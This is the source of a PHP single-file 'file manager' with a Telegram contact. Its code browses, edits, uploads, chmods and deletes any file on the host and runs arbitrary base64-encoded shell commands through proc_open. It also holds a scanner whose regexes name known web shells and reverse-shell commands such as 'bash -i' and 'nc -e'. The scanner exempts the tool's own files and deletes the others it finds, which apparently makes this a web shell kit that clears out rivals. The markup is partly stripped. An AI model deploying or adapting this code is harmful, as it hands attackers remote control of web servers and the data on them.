file manager
'.$auth_error.'

'; ?>
t.me/jellyproject
$p) { if ($i === 0 && preg_match('/^[a-zA-Z]:$/', $p)) { $prefix = $p; continue; } if ($p === '' || $p === '.') continue; if ($p === '..') { if (!empty($safe)) array_pop($safe); continue; } $safe[] = $p; } if ($prefix !== '') { return $prefix . '/' . implode('/', $safe); } return '/' . implode('/', $safe); } function format_size($bytes) { if ($bytes === false || $bytes === null) return '-'; $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($bytes >= 1024 && $i < count($units) - 1) { $bytes /= 1024; $i++; } return round($bytes, 2) . ' ' . $units[$i]; } function perm_to_string($perms) { $info = ''; $info .= (($perms & 0x4000) ? 'd' : '-'); $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-')); $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-')); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-')); return $info; } function perm_to_html($perms_str) { $out = ''; $len = strlen($perms_str); for ($i = 0; $i < $len; $i++) { $ch = $perms_str[$i]; if ($ch === 'r') { $cls = 'p-r'; $tip = 'read'; } elseif ($ch === 'w') { $cls = 'p-w'; $tip = 'write'; } elseif ($ch === 'x' || $ch === 's' || $ch === 't' || $ch === 'S' || $ch === 'T') { $cls = 'p-x'; $tip = 'execute/special'; } else { $cls = 'p-off'; $tip = 'no permission'; } $out .= '' . $ch . ''; } return $out; } function svg_icon($name) { $icons = [ 'folder' => '', 'file' => '', 'img' => '', 'zip' => '', 'code' => '', 'audio' => '', 'video' => '', 'doc' => '', ]; return isset($icons[$name]) ? $icons[$name] : $icons['file']; } function icon_for($is_dir, $ext) { if ($is_dir) return 'folder'; if (in_array($ext, ['png','jpg','jpeg','gif','webp','svg','ico','bmp','avif'])) return 'img'; if (in_array($ext, ['zip','rar','7z','tar','gz','bz2','xz','tgz'])) return 'zip'; if (in_array($ext, ['mp3','wav','ogg','flac','m4a','aac'])) return 'audio'; if (in_array($ext, ['mp4','mkv','avi','mov','webm','flv'])) return 'video'; if (in_array($ext, ['php','js','ts','html','css','py','sh','json','xml','yml','yaml','c','cpp','h','go','rs','rb','java','htaccess'])) return 'code'; if (in_array($ext, ['pdf','doc','docx','txt','md','rtf','log','ini','conf','csv','sql'])) return 'doc'; return 'file'; } $flash = ''; $flash_type = 'info'; function set_flash($msg, $type = 'info') { global $flash, $flash_type; $flash = $msg; $flash_type = $type; } function fm_decode_payload($data, $enc) { $raw = base64_decode($data, true); if ($raw === false) return null; if ($enc === 'gzip') { if (function_exists('gzdecode')) { $out = gzdecode($raw); } else { $out = @gzinflate(substr($raw, 10, -8)); } return $out === false ? null : $out; } return $raw; } function fm_json($ok, $msg) { header('Content-Type: application/json'); echo json_encode(['ok' => (bool)$ok, 'msg' => $msg]); exit; } function fm_finalize_payload($tmp, $enc) { $raw = file_get_contents($tmp); if ($raw === false) return false; if ($enc === 'gzip') { if (function_exists('gzdecode')) { $out = gzdecode($raw); } else { $out = @gzinflate(substr($raw, 10, -8)); } if ($out === false) return false; return file_put_contents($tmp, $out) !== false; } return true; } $current_path = isset($_GET['dir']) && $_GET['dir'] !== '' ? normalize_path($_GET['dir']) : $ROOT_PATH; if (isset($_GET['goto'])) { $target = $_GET['goto']; if ($target === 'up') { $parent = normalize_path($current_path . '/..'); if ($parent !== $current_path) { header('Location: ' . $SELF . '?dir=' . fm_uenc($parent)); exit; } set_flash('Already at the root directory.', 'error'); } else { $new_path = normalize_path($current_path . '/' . $target); header('Location: ' . $SELF . '?dir=' . fm_uenc($new_path)); exit; } } if (isset($_POST['a']) && $_POST['a'] === 'a') { $target = $current_path . '/' . (isset($_POST['name']) ? $_POST['name'] : ''); if (file_exists($target)) { if (is_dir($target)) { $it = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($target, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); $ok = true; foreach ($it as $f) { if ($f->isDir()) { if(!rmdir($f->getRealPath())) $ok=false; } else { if(!unlink($f->getRealPath())) $ok=false; } } if (rmdir($target) && $ok) { set_flash('Directory deleted.', 'success'); } else { set_flash('Could not delete the directory.', 'error'); } } else { if (unlink($target)) set_flash('File deleted.', 'success'); else set_flash('Could not delete the file.', 'error'); } } else { set_flash('File not found.', 'error'); } header('Location: ' . $SELF . '?dir=' . fm_uenc($current_path)); exit; } if (isset($_POST['a']) && $_POST['a'] === 'b') { $names = isset($_POST['sel']) ? $_POST['sel'] : []; if (!is_array($names)) $names = []; $ok = 0; $fail = 0; foreach ($names as $name) { $target = $current_path . '/' . $name; if (!file_exists($target)) { $fail++; continue; } if (is_dir($target)) { $it = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($target, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); $drok = true; foreach ($it as $f) { if ($f->isDir()) { if(!@rmdir($f->getRealPath())) $drok=false; } else { if(!@unlink($f->getRealPath())) $drok=false; } } if (@rmdir($target) && $drok) $ok++; else $fail++; } else { if (@unlink($target)) $ok++; else $fail++; } } if ($ok > 0 && $fail === 0) set_flash($ok . ' item(s) deleted.', 'success'); elseif ($ok > 0 && $fail > 0) set_flash($ok . ' item(s) deleted, ' . $fail . ' failed.', 'info'); elseif ($ok === 0 && $fail > 0) set_flash($fail . ' item(s) could not be deleted.', 'error'); else set_flash('Nothing was selected.', 'error'); header('Location: ' . $SELF . '?dir=' . fm_uenc($current_path)); exit; } if (isset($_POST['a']) && $_POST['a'] === 'c') { $name = isset($_POST['name']) ? trim($_POST['name']) : ''; if ($name !== '' && preg_match('/^[a-zA-Z0-9_\- .]+$/', $name)) { $target = $current_path . '/' . $name; if (!file_exists($target)) { if (mkdir($target, 0755, true)) set_flash('Folder created.', 'success'); else set_flash('Could not create the folder.', 'error'); } else set_flash('An item with the same name already exists.', 'error'); } else set_flash('Invalid folder name.', 'error'); header('Location: ' . $SELF . '?dir=' . fm_uenc($current_path)); exit; } if (isset($_POST['a']) && $_POST['a'] === 'd') { $name = isset($_POST['name']) ? trim($_POST['name']) : ''; if ($name !== '') { $target = $current_path . '/' . $name; if (!file_exists($target)) { if (touch($target)) set_flash('File created.', 'success'); else set_flash('Could not create the file.', 'error'); } else set_flash('File already exists.', 'error'); } else set_flash('Invalid file name.', 'error'); header('Location: ' . $SELF . '?dir=' . fm_uenc($current_path)); exit; } if (isset($_POST['a']) && $_POST['a'] === 'e') { $name = isset($_POST['name']) ? $_POST['name'] : ''; $mode = isset($_POST['mode']) ? $_POST['mode'] : ''; $target = $current_path . '/' . $name; if (file_exists($target)) { $oct = octdec(str_pad($mode, 4, '0', STR_PAD_LEFT)); if (chmod($target, $oct)) set_flash('Permissions changed.', 'success'); else set_flash('Could not change permissions (server privileges required).', 'error'); } else set_flash('File not found.', 'error'); header('Location: ' . $SELF . '?dir=' . fm_uenc($current_path)); exit; } if (isset($_POST['a']) && $_POST['a'] === 'f') { $old = isset($_POST['old_name']) ? $_POST['old_name'] : ''; $new = isset($_POST['new_name']) ? trim($_POST['new_name']) : ''; $old_path = $current_path . '/' . $old; $new_path = $current_path . '/' . $new; if ($new !== '' && file_exists($old_path)) { if (rename($old_path, $new_path)) set_flash('Renamed successfully.', 'success'); else set_flash('Could not rename.', 'error'); } else set_flash('Invalid name.', 'error'); header('Location: ' . $SELF . '?dir=' . fm_uenc($current_path)); exit; } if (isset($_POST['a']) && $_POST['a'] === 'g') { if (isset($_FILES['file']) && is_array($_FILES['file']['error']) && isset($_FILES['file']['error'][0]) && $_FILES['file']['error'][0] !== UPLOAD_ERR_NO_FILE) { $count = count($_FILES['file']['name']); $ok = 0; $fail = 0; for ($i = 0; $i < $count; $i++) { if ($_FILES['file']['error'][$i] === UPLOAD_ERR_OK) { $name = $_FILES['file']['name'][$i]; $tmp = $_FILES['file']['tmp_name'][$i]; $dest = $current_path . '/' . basename($name); if (move_uploaded_file($tmp, $dest)) $ok++; else $fail++; } else { $fail++; } } if ($ok > 0) set_flash($ok . ' file(s) uploaded.' . ($fail>0 ? ' '.$fail.' file(s) failed.' : ''), 'success'); else set_flash('Upload failed.', 'error'); } else set_flash('No file selected.', 'error'); header('Location: ' . $SELF . '?dir=' . fm_uenc($current_path)); exit; } if (isset($_GET['download'])) { $target = $current_path . '/' . $_GET['download']; if (is_file($target)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($target) . '"'); header('Content-Transfer-Encoding: binary'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($target)); readfile($target); exit; } } if (isset($_POST['a']) && $_POST['a'] === 'h') { $name = basename(isset($_POST['name']) ? $_POST['name'] : ''); $content = isset($_POST['content']) ? $_POST['content'] : ''; $enc = isset($_POST['enc']) ? $_POST['enc'] : ''; if ($enc !== '') { $dec = fm_decode_payload($content, $enc); if ($dec === null) { set_flash('Could not decode the file content.', 'error'); header('Location: ' . $SELF . '?dir=' . fm_uenc($current_path)); exit; } $content = $dec; } elseif (!empty($_POST['b64'])) { $dec = base64_decode($content); if ($dec !== false) $content = $dec; } $target = $current_path . '/' . $name; if (is_file($target)) { if (file_put_contents($target, $content) !== false) set_flash('File saved.', 'success'); else set_flash('Could not save the file.', 'error'); } else set_flash('File not found.', 'error'); header('Location: ' . $SELF . '?dir=' . fm_uenc($current_path)); exit; } if (isset($_POST['a']) && $_POST['a'] === 'i') { $name = basename(isset($_POST['name']) ? $_POST['name'] : ''); $idx = isset($_POST['index']) ? (int)$_POST['index'] : 0; $total = isset($_POST['total']) ? (int)$_POST['total'] : 0; if ($name === '' || $total < 1) fm_json(0, 'Bad chunk request.'); $target = $current_path . '/' . $name; if (!is_file($target)) fm_json(0, 'File not found.'); $tmp = $target . '.fmpart'; $data = fm_decode_payload(isset($_POST['data']) ? $_POST['data'] : '', ''); if ($data === null) fm_json(0, 'Could not decode chunk.'); if ($idx <= 0) $w = file_put_contents($tmp, $data, LOCK_EX); else $w = file_put_contents($tmp, $data, FILE_APPEND | LOCK_EX); if ($w === false) fm_json(0, 'Could not write chunk.'); if ($idx >= $total - 1) { if (!fm_finalize_payload($tmp, isset($_POST['enc']) ? $_POST['enc'] : '')) fm_json(0, 'Could not decode payload.'); if (!rename($tmp, $target)) fm_json(0, 'Could not finalize save.'); fm_json(1, 'File saved.'); } fm_json(1, 'Chunk ' . ($idx + 1) . '/' . $total); } if (isset($_POST['a']) && $_POST['a'] === 'j') { $name = basename(isset($_POST['name']) ? $_POST['name'] : ''); $upid = preg_replace('/[^a-zA-Z0-9]/', '', isset($_POST['upid']) ? $_POST['upid'] : ''); $idx = isset($_POST['index']) ? (int)$_POST['index'] : 0; $total = isset($_POST['total']) ? (int)$_POST['total'] : 0; if ($name === '' || $upid === '' || $total < 1) fm_json(0, 'Bad chunk request.'); $tmp = $current_path . '/.fm-' . $upid . '.part'; $data = fm_decode_payload(isset($_POST['data']) ? $_POST['data'] : '', ''); if ($data === null) fm_json(0, 'Could not decode chunk.'); if ($idx <= 0) $w = file_put_contents($tmp, $data, LOCK_EX); else $w = file_put_contents($tmp, $data, FILE_APPEND | LOCK_EX); if ($w === false) fm_json(0, 'Could not write chunk.'); if ($idx >= $total - 1) { if (!fm_finalize_payload($tmp, isset($_POST['enc']) ? $_POST['enc'] : '')) fm_json(0, 'Could not decode payload.'); $dest = $current_path . '/' . $name; if (!rename($tmp, $dest)) fm_json(0, 'Could not finalize upload.'); @chmod($dest, 0644); fm_json(1, 'Uploaded.'); } fm_json(1, 'Chunk ' . ($idx + 1) . '/' . $total); } if (isset($_POST['a']) && $_POST['a'] === 'k') { $cmd = ''; if (isset($_POST['q'])) { $raw = base64_decode($_POST['q'], true); if ($raw !== false) $cmd = $raw; } if (trim($cmd) === '' || !is_dir($current_path)) fm_json(0, 'Bad terminal request.'); @set_time_limit(120); $cmdline = (DIRECTORY_SEPARATOR === '\\') ? 'cmd /c ' . $cmd : 'sh -c ' . escapeshellarg($cmd); $descriptors = [0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']]; $proc = @proc_open($cmdline, $descriptors, $pipes, $current_path); if (!is_resource($proc)) fm_json(0, 'proc_open is disabled on this server.'); fclose($pipes[0]); $out = stream_get_contents($pipes[1]); $err = stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); $code = proc_close($proc); $out = rtrim((string)$out); if ($err) $out .= ($out !== '' ? "\n" : '') . rtrim((string)$err); if (strlen($out) > 200000) $out = substr($out, 0, 200000) . "\n… output truncated"; header('Content-Type: application/json'); echo json_encode(['ok' => true, 'out' => $out, 'code' => (int)$code]); exit; } function fm_scan_enqueue(&$queue, &$seen, $data, $raw = false) { if (!is_string($data) || strlen($data) < 20 || strlen($data) > 3145728) return; $h = ($raw ? 'r' : 't') . md5($data); if (isset($seen[$h])) return; if (!$raw && preg_match('/[\x00-\x08\x0b\x0e-\x1f]/', substr($data, 0, 4096))) return; $seen[$h] = 1; $queue[] = $data; } function fm_scan_layers($content) { $layers = array($content); $seen = array('t' . md5($content) => 1); $queue = array($content); $steps = 0; while ($queue && $steps < 250 && count($layers) <= 48) { $c = array_shift($queue); $steps++; $t = trim($c); if (strlen($t) >= 60 && preg_match('/^[A-Za-z0-9+\/=\s_-]+$/', $t)) { $clean = str_replace(array(' ', "\t", "\r", "\n"), '', $t); $d = base64_decode(strtr($clean, '-_', '+/'), true); fm_scan_enqueue($queue, $seen, $d); $dr = base64_decode(strtr(strrev($clean), '-_', '+/'), true); if (is_string($dr)) fm_scan_enqueue($queue, $seen, $dr); } if (preg_match_all('/[A-Za-z0-9+\/]{50,}={0,2}/', $c, $mm)) { foreach (array_slice($mm[0], 0, 10) as $b64) { $d = base64_decode($b64, true); fm_scan_enqueue($queue, $seen, $d); } } if (preg_match_all('/<<<[ \t]*\'?([A-Za-z0-9_]+)\'?[ \t]*\r?\n(.*?)\r?\n[ \t]*\1\b/s', $c, $hm, PREG_SET_ORDER)) { foreach (array_slice($hm, 0, 5) as $h) { $body = $h[2]; $d = @gzinflate($body); if (!is_string($d)) $d = @gzinflate(substr($body, 2)); if (!is_string($d)) { $bd = base64_decode($body, true); if (is_string($bd)) $d = @gzinflate($bd); if (!is_string($bd) || !is_string($d)) $d = $bd; } fm_scan_enqueue($queue, $seen, $d, true); } } foreach (array("\x1f\x8b", "\x78\x9c", "\x78\x01", "\x78\xda", "\x78\x5e") as $magic) { $offs = array(); $pos = 0; while (count($offs) < 6) { $p = strpos($c, $magic, $pos); if ($p === false) break; $offs[] = $p; $pos = $p + 1; } foreach ($offs as $o) { $d = ($magic === "\x1f\x8b") ? @gzdecode(substr($c, $o)) : @gzinflate(substr($c, $o)); if (is_string($d)) fm_scan_enqueue($queue, $seen, $d, true); } } $d = @gzinflate($c); if (is_string($d)) fm_scan_enqueue($queue, $seen, $d, true); $d = @gzinflate(substr($c, 10, -8)); if (is_string($d)) fm_scan_enqueue($queue, $seen, $d, true); $d = @gzuncompress($c); if (is_string($d)) fm_scan_enqueue($queue, $seen, $d, true); $d = @gzdecode($c); if (is_string($d)) fm_scan_enqueue($queue, $seen, $d, true); $d = @convert_uudecode($c); if (is_string($d)) fm_scan_enqueue($queue, $seen, $d); if (@preg_match('/(\x5cx[0-9a-fA-F]{2}){8,}/', $c)) { $d = preg_replace_callback('/\x5cx([0-9a-fA-F]{2})/', function($m) { return chr(hexdec($m[1])); }, $c); fm_scan_enqueue($queue, $seen, $d); } if (preg_match('/(?:=[0-9A-F]{2}){10,}/', $c)) { $d = quoted_printable_decode($c); fm_scan_enqueue($queue, $seen, $d); } if (preg_match('/(?:%[0-9a-fA-F]{2}){10,}/', $c)) { $d = urldecode($c); fm_scan_enqueue($queue, $seen, $d); } if (preg_match('/riny|shapgvba|fgevo|pbssre|_CBFG|_TRG/i', $c)) { $d = str_rot13($c); fm_scan_enqueue($queue, $seen, $d); } if (preg_match('/chr\s*\(\s*\d+\s*\)/', $c) && preg_match_all('/chr\s*\(\s*(\d+)\s*\)/', $c, $cm)) { $d = ''; foreach ($cm[1] as $n) { if ($n >= 9 && $n <= 126) $d .= chr($n); } fm_scan_enqueue($queue, $seen, $d); } if (preg_match('/[0-9a-fA-F]{60,}/', $c)) { $d = @pack('H*', preg_replace('/[^0-9a-fA-F]/', '', substr($c, 0, 200000))); fm_scan_enqueue($queue, $seen, $d); } $new = end($queue); if (is_string($new) && !in_array($new, $layers, true)) $layers[] = $new; } return array_values($layers); } function fm_scan_rules() { static $rules = null; if ($rules !== null) return $rules; $rules = array( array('w'=>3,'re'=>'/(c99shell|r57shell|b374k|filesman|anonymousfox|p0wny|phpsploit|weevely|wsoshell|c99mad|priv8|symlink\s*shell|bypass\s*safe_?mode|hacked\s*by|dr7root|alfa-?shell|mini\s*shell|zone-h|defaced|owned\s*by)/i'), array('w'=>3,'re'=>'/eval\s*\(\s*@?\s*(base64_decode|gzinflate|gzuncompress|str_rot13|gzdecode|urldecode|hex2bin|json_decode|rawurldecode|convert_uudecode|convert_uuencode)\s*\(/i'), array('w'=>3,'re'=>'/<\?php\s+@?eval\s*\(/'), array('w'=>3,'re'=>'/riny\s*\(|cuc:\/\/vasb|fgevc\s*\(/i'), array('w'=>3,'re'=>'/GIF8[9a]?[\s\S]{0,512}<\?php|\x89PNG[\s\S]{0,512}<\?php|\xff\xd8\xff[\s\S]{0,512}<\?php/i'), array('w'=>3,'re'=>'/\$_(POST|GET|REQUEST|COOKIE)\s*\[[^\]]*\]\s*\(|\$\{(\'|")?_(POST|GET|REQUEST|COOKIE)/'), array('w'=>3,'re'=>'/@?(include|require)(_once)?\s*\(?\s*@?\s*(\$_(GET|POST|REQUEST|COOKIE)|php:\/\/input|data:\/\/text)/i'), array('w'=>2,'re'=>'/(assert|create_function|preg_replace|array_map|call_user_func(_array)?|ob_start|array_filter|usort|register_shutdown_function)\s*\(\s*[\'"][^\'"]*\$_(POST|GET|REQUEST|COOKIE)/is'), array('w'=>2,'re'=>'/preg_replace\s*\(\s*[\'"].*\/e\s*[\'"]/is'), array('w'=>2,'re'=>'/(gzinflate|gzuncompress|str_rot13|base64_decode)\s*\(\s*[\'"][A-Za-z0-9+\/=]{50,}/'), array('w'=>2,'re'=>'/(system|shell_exec|passthru|popen|proc_open|exec|pcntl_exec)\s*\([^)]*\$_(POST|GET|REQUEST|COOKIE)/i'), array('w'=>2,'re'=>'/(shell_exec|passthru|system|popen|proc_open|exec)\s*\(\s*(base64_decode|gzinflate|str_rot13)\s*\(/i'), array('w'=>2,'re'=>'/(move_uploaded_file|file_put_contents|fopen|fwrite|copy)\s*\([^;]{0,200}\$_(POST|GET|REQUEST)/is'), array('w'=>2,'re'=>'/(curl_setopt|curl_exec)[\s\S]{0,600}\$_(POST|GET|REQUEST)/i'), array('w'=>2,'re'=>'/curl_(init|setopt|exec)\s*\([^)]*\$_(POST|GET|REQUEST)|\$_(POST|GET|REQUEST)[^\n]{0,200}curl_(init|setopt|exec)/i'), array('w'=>2,'re'=>'/(fsockopen|stream_socket_client)\s*\(/i'), array('w'=>2,'re'=>'/(bash\s+-i|nc\s+-e|ncat\s+-e|reverse\s*shell|python\s+-c\s+.*socket|perl\s+-e\s+.*socket)/i'), array('w'=>2,'re'=>'/pack\s*\(\s*[\'"]H\*/i'), array('w'=>2,'re'=>'/(\x5cx[0-9a-fA-F]{2}){12,}/'), array('w'=>2,'re'=>'/(chr\s*\(\s*\d+\s*\)\s*\.\s*){4,}chr\s*\(\s*\d+\s*\)/'), array('w'=>2,'re'=>'/php:\/\/(input|filter)/i'), array('w'=>2,'re'=>'/(auto_prepend_file|auto_append_file|allow_url_include)\s*[,)]/i'), array('w'=>2,'re'=>'/@?mail\s*\([^)]*\$_(POST|GET|REQUEST)/i'), array('w'=>2,'re'=>'/\$\w+\s*=\s*str_replace\s*\([^)]+\)\s*;\s*@?(include|require|eval)/is'), array('w'=>2,'re'=>'/(JFactory|JRequest|JURI|JResponse|JDatabase)[\s\S]{0,500}(INSERT\s+INTO|GRANT\s+|CREATE\s+USER|eval\s*\(|base64_decode)/is'), array('w'=>2,'re'=>'/eval\s*\(\s*\$?\w+/i'), array('w'=>2,'re'=>'/base64_decode\s*\(\s*str_rot13|str_rot13\s*\(\s*base64_decode/i'), array('w'=>2,'re'=>'/GLOBALS\s*\[[\s\S]{0,40}(eval|assert)\s*\(/i'), array('w'=>1,'re'=>'/base64_decode\s*\(\s*\$_(POST|GET|REQUEST)/i'), array('w'=>1,'re'=>'/(php_uname|get_current_user)\s*\(/i'), array('w'=>1,'re'=>'/(chmod|umask)\s*\(\s*[^,]{0,60},\s*0?777/i'), array('w'=>1,'re'=>'/(safe_mode|disable_functions|backdoor|back?door|shell\.php|cmd=|passthru)/i'), array('w'=>1,'re'=>'/<\?php\s+(\/\*.*?\*\/\s*)?(echo|print|if)\s*\(?\s*@?file_get_contents\s*\(\s*[\'"]https?:\/\//is'), array('w'=>1,'re'=>'/\$\w+\s*=\s*@[a-z_]+\s*\(\s*\$_(POST|GET|REQUEST|COOKIE)\s*\[[^\]]+\]\s*\)\s*;?\s*(die|exit|echo)?/i'), array('w'=>1,'re'=>'/(shell_exec|passthru|system|exec|popen|proc_open)\s*\(\s*\$\w+/i'), array('w'=>1,'re'=>'/(coinhive|minero\.cc|anonymousfox|mobalive|jsecoin)/i'), array('w'=>1,'re'=>'/(include|require|file_get_contents|readfile)\s*\(?\s*[\'"]https?:\/\/(?!.*(googleapis|google-analytics|microsoft|yahoo|w3\.org|joomla\.org))/i'), array('w'=>1,'re'=>'/<\?php\s+\$[a-z0-9_]+\s*=\s*\$_(GET|POST|REQUEST)/i'), array('w'=>3,'re'=>'/(YamiFool|Fool1337|\[U\]OK\[\/U\]|SilentUploader|hax0r|xnuxer)/i'), array('w'=>2,'re'=>'/\$_(GET|POST|REQUEST|COOKIE)\s*\[[^\]]+\][^=]{0,12}===?\s*[\'"](?!com_|mod_|plg_|tmpl|format|task)(?=[^\'"]*[A-Za-z])(?=[^\'"]*[0-9])[A-Za-z0-9!@#$%^&*_.-]{6,}[\'"]/'), array('w'=>2,'re'=>'/isset\s*\(\s*\$_FILES\s*\[[^\]]*\]\s*\)\s*\)\s*\{?\s*@?move_uploaded_file/'), array('w'=>1,'re'=>'/(move_uploaded_file|file_put_contents)[\s\S]{0,400}\$_FILES/'), array('w'=>1,'re'=>'/(http_response_code\s*\(\s*404\s*\)|header\s*\(\s*[\'"]HTTP\/1\.[01]\s+404)[\s\S]{0,500}\$_(GET|POST|FILES|REQUEST)|\$_(GET|POST|FILES|REQUEST)[\s\S]{0,500}(http_response_code\s*\(\s*404\s*\)|header\s*\(\s*[\'"]HTTP\/1\.[01]\s+404)/'), ); return $rules; } function fm_scan_content($content) { $best = 0; $besthits = array(); $rules = fm_scan_rules(); foreach (fm_scan_layers($content) as $li => $layer) { $score = 0; $hits = array(); foreach ($rules as $r) { if (@preg_match($r['re'], $layer)) { $score += $r['w']; if (count($hits) < 4) $hits[] = ($li > 0 ? 'L' . $li . ':' : '') . trim(substr($r['re'], 0, 30)); } } if ($score > $best) { $best = $score; $besthits = $hits; } if ($best >= 12) break; } return array($best, $besthits); } $selffull = realpath($ROOT_PATH . '/' . $SELF); $rootreal = realpath($ROOT_PATH); $fm_scanlist = $ROOT_PATH . '/.fm-scanlist.txt'; $fm_scanfound = $ROOT_PATH . '/.fm-scanfound.jsonl'; if (isset($_POST['a']) && ($_POST['a'] === 'm' || $_POST['a'] === 'n' || $_POST['a'] === 'o')) { @set_time_limit(180); if (function_exists('ini_set')) @ini_set('memory_limit', '512M'); header('Content-Type: application/json'); if ($rootreal === false) { echo json_encode(array('ok' => false, 'msg' => 'Cannot resolve the hosting root.')); exit; } if ($_POST['a'] === 'o') { foreach (array($fm_scanlist, $fm_scanfound) as $fm_sf) { if (is_file($fm_sf)) @unlink($fm_sf); } echo json_encode(array('ok' => true, 'cancelled' => true)); exit; } if ($_POST['a'] === 'm') { $fm_phase = isset($_POST['phase']) ? $_POST['phase'] : 'start'; if ($fm_phase === 'start') { foreach (array($fm_scanlist, $fm_scanfound) as $fm_sf) { if (is_file($fm_sf)) @unlink($fm_sf); } $fm_lh = @fopen($fm_scanlist, 'wb'); if (!$fm_lh) { echo json_encode(array('ok' => false, 'msg' => 'Cannot create the scan state file (directory not writable).')); exit; } $fm_total = 0; try { $fm_it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($rootreal, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::LEAVES_ONLY, RecursiveIteratorIterator::CATCH_GET_CHILD); foreach ($fm_it as $fm_f) { try { if (!$fm_f->isFile()) continue; $fm_ext = strtolower(pathinfo($fm_f->getPathname(), PATHINFO_EXTENSION)); if (!in_array($fm_ext, array('php','phtml','phtm','pht','php3','php4','php5','php7','php8','phps','phar','inc'))) continue; $fm_base = $fm_f->getFilename(); if (substr($fm_base, -7) === '.fmpart' || strpos($fm_base, '.fm-') === 0) continue; if ($selffull !== false && $fm_f->getRealPath() === $selffull) continue; if (@filesize($fm_f->getPathname()) > 4194304) continue; fwrite($fm_lh, $fm_f->getPathname() . "\n"); $fm_total++; } catch (Exception $fm_e) { continue; } } } catch (Exception $fm_e) { } fclose($fm_lh); echo json_encode(array('ok' => true, 'phase' => 'start', 'total' => $fm_total)); exit; } if ($fm_phase === 'step') { $fm_from = isset($_POST['from']) ? (int)$_POST['from'] : 0; if ($fm_from < 0) $fm_from = 0; $fm_deadline = microtime(true) + 35; $fm_fh = @fopen($fm_scanlist, 'rb'); if (!$fm_fh) { echo json_encode(array('ok' => false, 'msg' => 'Scan state missing — start the scan again.')); exit; } $fm_i = -1; $fm_last = $fm_from - 1; $fm_processed = 0; $fm_found = array(); $fm_done = true; $fm_lf = @fopen($fm_scanfound, 'ab'); while (($fm_line = fgets($fm_fh)) !== false) { $fm_i++; if ($fm_i < $fm_from) continue; $fm_p = trim($fm_line); if ($fm_p !== '') { $fm_processed++; $fm_content = @file_get_contents($fm_p); if (is_string($fm_content) && $fm_content !== '' && strpos($fm_content, 'FMDATA') === false && strpos($fm_content, '$__FM_FILE') === false && strpos($fm_content, 'fm_login') === false) { list($fm_score, $fm_hits) = fm_scan_content($fm_content); if ($fm_score >= 2) { $fm_item = array('path' => $fm_p, 'size' => @filesize($fm_p), 'score' => $fm_score, 'hits' => $fm_hits); $fm_found[] = $fm_item; if ($fm_lf) { fwrite($fm_lf, json_encode($fm_item) . "\n"); } } } } $fm_last = $fm_i; if (microtime(true) >= $fm_deadline) { $fm_done = false; break; } } if ($fm_lf) fclose($fm_lf); $fm_done = $fm_done && feof($fm_fh); fclose($fm_fh); echo json_encode(array('ok' => true, 'phase' => 'step', 'done' => $fm_done, 'processed' => $fm_processed, 'position' => $fm_last + 1, 'next' => $fm_done ? 0 : $fm_last + 1, 'found' => $fm_found)); exit; } echo json_encode(array('ok' => false, 'msg' => 'Unknown scan phase.')); exit; } if ($_POST['a'] === 'n') { @set_time_limit(120); $files = isset($_POST['files']) ? json_decode($_POST['files'], true) : array(); if (!is_array($files)) $files = array(); $del = 0; $fail = 0; foreach ($files as $p) { if (!is_string($p)) { $fail++; continue; } $rp = realpath($p); if ($rp === false || strpos($rp, $rootreal) !== 0 || ($selffull !== false && $rp === $selffull)) { $fail++; continue; } if (@unlink($rp)) $del++; else $fail++; } foreach (array($fm_scanlist, $fm_scanfound) as $fm_sf) { if (is_file($fm_sf)) @unlink($fm_sf); } echo json_encode(array('ok' => true, 'deleted' => $del, 'failed' => $fail)); exit; } exit; } $entries = []; if (is_dir($current_path)) { $items = @scandir($current_path); if ($items === false) $items = []; $base = rtrim($current_path, '/'); foreach ($items as $item) { if ($item === '.' || $item === '..') continue; if (strpos($item, '.fm-') === 0 || substr($item, -7) === '.fmpart') continue; $full = $base . '/' . $item; $is_dir = @is_dir($full); $perms = @fileperms($full); $entries[] = [ 'name' => $item, 'is_dir' => $is_dir, 'size' => $is_dir ? null : @filesize($full), 'perms_str' => $perms ? perm_to_string($perms) : '---------', 'perms_oct' => $perms ? substr(sprintf('%o', $perms), -4) : '----', 'writable' => @is_writable($full), 'mtime' => @filemtime($full), ]; } usort($entries, function($a, $b) { if ($a['is_dir'] === $b['is_dir']) return strcasecmp($a['name'], $b['name']); return $a['is_dir'] ? -1 : 1; }); } else { set_flash('Directory not found.', 'error'); } $crumbs = []; $parts = explode('/', $current_path); $acc = ''; foreach ($parts as $p) { if ($p === '') continue; if (preg_match('/^[a-zA-Z]:$/', $p)) { $acc = $p; } else { $acc .= '/' . $p; } $crumbs[] = ['name' => $p, 'path' => $acc]; } $edit_file = null; if (isset($_GET['edit'])) { $target = $current_path . '/' . $_GET['edit']; if (is_file($target) && is_readable($target)) { if (filesize($target) <= 5000000) { $content = file_get_contents($target); $edit_file = [ 'name' => $_GET['edit'], 'content' => '', 'content_b64' => base64_encode($content), 'binary' => strpos(substr($content, 0, 8192), "\0") !== false, ]; } else { set_flash('File is too large to edit (max 5 MB). You can download it instead.', 'error'); } } } $disk_free = @disk_free_space($current_path); $disk_total = @disk_total_space($current_path); ?> <?php echo FM_TITLE; ?> — <?php echo htmlspecialchars($current_path); ?>
items Sign out
single-file file manager

php os 0): ?> disk free of
